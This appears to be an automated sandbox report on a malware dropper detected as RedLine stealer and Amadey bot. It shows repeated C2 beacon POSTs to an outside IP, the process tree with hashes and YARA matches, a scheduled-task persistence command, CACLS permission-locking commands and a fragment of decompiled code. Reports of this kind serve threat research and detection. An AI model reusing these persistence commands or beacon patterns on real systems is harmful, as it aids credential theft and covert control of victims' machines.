Feb 6, 2023 18:36:21.512933016 CET	530	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.7	49817	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:21.693658113 CET	530	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:21.758744001 CET	531	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.7	49818	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:21.931466103 CET	531	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:21.996027946 CET	532	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.7	49819	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:22.168381929 CET	532	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:22.234762907 CET	533	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.7	49820	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:22.420697927 CET	533	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:22.485869884 CET	534	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.7	49821	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:22.668124914 CET	534	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:22.732945919 CET	535	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.7	49822	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:22.933331966 CET	535	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:22.998328924 CET	536	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.7	49823	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:23.177068949 CET	536	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:23.242027998 CET	537	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.7	49824	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:23.412568092 CET	537	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:23.474493980 CET	538	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 1880, Parent PID: 3320

General

Target ID:	0
Start time:	18:34:45
Start date:	06/02/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0xa30000
File size:	587776 bytes
MD5 hash:	3AC20281C213C418608FCEA6D744AE8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.249730772.00000000049A9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: brJg.exePID: 2296, Parent PID: 1880

General

Target ID:	1
Start time:	18:34:45
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\brJg.exe
Imagebase:	0xf80000
File size:	395776 bytes
MD5 hash:	E61222B4D82A6007A553851456BCC651
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 49%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: arJf.exePID: 6080, Parent PID: 2296

General

Target ID:	2
Start time:	18:34:46
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\arJf.exe
Imagebase:	0x400000
File size:	371712 bytes
MD5 hash:	01BC3DF99AB67BABCDC1577241E3EE87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.363155584.0000000000667000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 28%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3484, Parent PID: 3320

General

Target ID:	3
Start time:	18:34:54
Start date:	06/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff619610000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1428, Parent PID: 3320

General

Target ID:	5
Start time:	18:35:03
Start date:	06/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
Imagebase:	0x7ff619610000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: nika.exePID: 6128, Parent PID: 2296

General

Target ID:	13
Start time:	18:35:41
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe
Imagebase:	0x140000
File size:	11264 bytes
MD5 hash:	7E93BACBBC33E6652E147E7FE07572A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: xriv.exePID: 3184, Parent PID: 1880

General

Target ID:	14
Start time:	18:35:53
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
Imagebase:	0x10a0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000000.394346269.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 2728, Parent PID: 3184

General

Target ID:	15
Start time:	18:35:53
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Imagebase:	0x70000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.774984109.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000000.395382320.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 0000000F.00000002.775467476.0000000001189000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5816, Parent PID: 2728

General

Target ID:	16
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Imagebase:	0xf80000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6068, Parent PID: 5816

General

Target ID:	17
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3824, Parent PID: 2728

General

Target ID:	18
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1340, Parent PID: 3824

General

Target ID:	19
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 604, Parent PID: 3824

General

Target ID:	20
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 2664, Parent PID: 3824

General

Target ID:	21
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:N"
Imagebase:	0x1280000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 2880, Parent PID: 3824

General

Target ID:	22
Start time:	18:35:54
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:R" /E
Imagebase:	0x1280000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4884, Parent PID: 3824

General

Target ID:	23
Start time:	18:35:55
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 5064, Parent PID: 3824

General

Target ID:	24
Start time:	18:35:55
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:N"
Imagebase:	0x1280000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 1124, Parent PID: 3824

General

Target ID:	25
Start time:	18:35:55
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:R" /E
Imagebase:	0x1280000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 3008, Parent PID: 1100

General

Target ID:	26
Start time:	18:35:56
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x70000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000000.401919368.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.404038192.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 2192, Parent PID: 2728

General

Target ID:	27
Start time:	18:35:56
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Imagebase:	0x990000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 5360, Parent PID: 1100

General

Target ID:	28
Start time:	18:36:01
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x70000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.412655905.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000000.412434202.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4800, Parent PID: 1100

General

Target ID:	31
Start time:	18:37:00
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x70000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000000.538870814.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.539099474.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4552, Parent PID: 1100

General

Target ID:	33
Start time:	18:38:00
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x70000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.667787109.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000000.667491618.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 1880, Parent PID: 3320COMMON

Execution Graph

Execution Coverage:	27.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.9%
Total number of Nodes:	968
Total number of Limit Nodes:	43

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00A3202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00A3202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
